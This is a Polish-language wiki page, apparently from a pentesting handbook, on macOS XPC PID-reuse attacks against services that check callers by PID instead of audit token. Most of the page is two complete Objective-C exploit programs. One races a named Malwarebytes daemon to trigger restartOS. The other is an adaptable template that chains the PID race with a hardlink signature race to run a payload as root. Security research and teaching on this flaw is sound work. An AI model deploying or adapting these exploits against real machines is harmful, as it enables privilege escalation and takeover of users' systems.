# macOS PID Reuse

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## PID Reuse

Kiedy **usługa XPC** w macOS sprawdza wywołany proces na podstawie **PID** i nie na podstawie **tokena audytu**, jest podatna na atak ponownego użycia PID. Atak ten opiera się na **warunkach wyścigu**, gdzie **eksploit** będzie **wysyłać wiadomości do usługi XPC**, **nadużywając** funkcjonalności, a dopiero **po** tym wykona **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** z **dozwolonym** binarnym.

Ta funkcja sprawi, że **dozwolona binarna** przejmie PID, ale **złośliwa wiadomość XPC** zostanie wysłana tuż przed tym. Więc, jeśli usługa **XPC** **używa** **PID** do **uwierzytelnienia** nadawcy i sprawdza to **PO** wykonaniu **`posix_spawn`**, pomyśli, że pochodzi z **autoryzowanego** procesu.

### Przykład eksploitu

Jeśli znajdziesz funkcję **`shouldAcceptNewConnection`** lub funkcję przez nią wywoływaną **wywołującą** **`processIdentifier`** i nie wywołującą **`auditToken`**. To bardzo prawdopodobnie oznacza, że **weryfikuje PID procesu** a nie token audytu.\
Jak na przykład na tym obrazku (pochodzącym z odniesienia):

<figure><img src="../../../../../../images/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>

Sprawdź ten przykład eksploitu (ponownie, pochodzący z odniesienia), aby zobaczyć 2 części eksploitu:

- Jedna, która **generuje kilka forków**
- **Każdy fork** **wyśle** **ładunek** do usługi XPC, wykonując **`posix_spawn`** tuż po wysłaniu wiadomości.

> [!CAUTION]
> Aby eksploatacja działała, ważne jest, aby ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** lub umieścić wewnątrz eksploitu:
>
> ```objectivec
> asm(".section __DATA,__objc_fork_ok\n"
> "empty:\n"
> ".no_dead_strip empty\n");
> ```

{{#tabs}}
{{#tab name="NSTasks"}}
Pierwsza opcja używająca **`NSTasks`** i argumentu do uruchomienia dzieci w celu wykorzystania RC
```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}
```
{{#endtab}}

{{#tab name="fork"}}
Ten przykład używa surowego **`fork`**, aby uruchomić **dzieci, które wykorzystają warunek wyścigu PID**, a następnie wykorzystają **inny warunek wyścigu za pomocą twardego linku:**
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl

#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>

// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end

// Global flag to track exploitation status
bool pwned = false;

/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);

// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}

void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;

// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString*  service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];

id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];

NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);

// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];

// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];

// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) {  // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}

// Wait for children to finish their tasks
sleep(3);

// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}

int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");

// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);

while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");

// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");

xpc_pid_rc_abuse();
usleep(10000);

// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}

return 0;
}
```
{{#endtab}}
{{#endtabs}}

## Inne przykłady

- [https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html](https://gergelykalman.com/why-you-shouldnt-use-a-commercial-vpn-amateur-hour-with-windscribe.html)

## Źródła

- [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
- [https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf](https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf)

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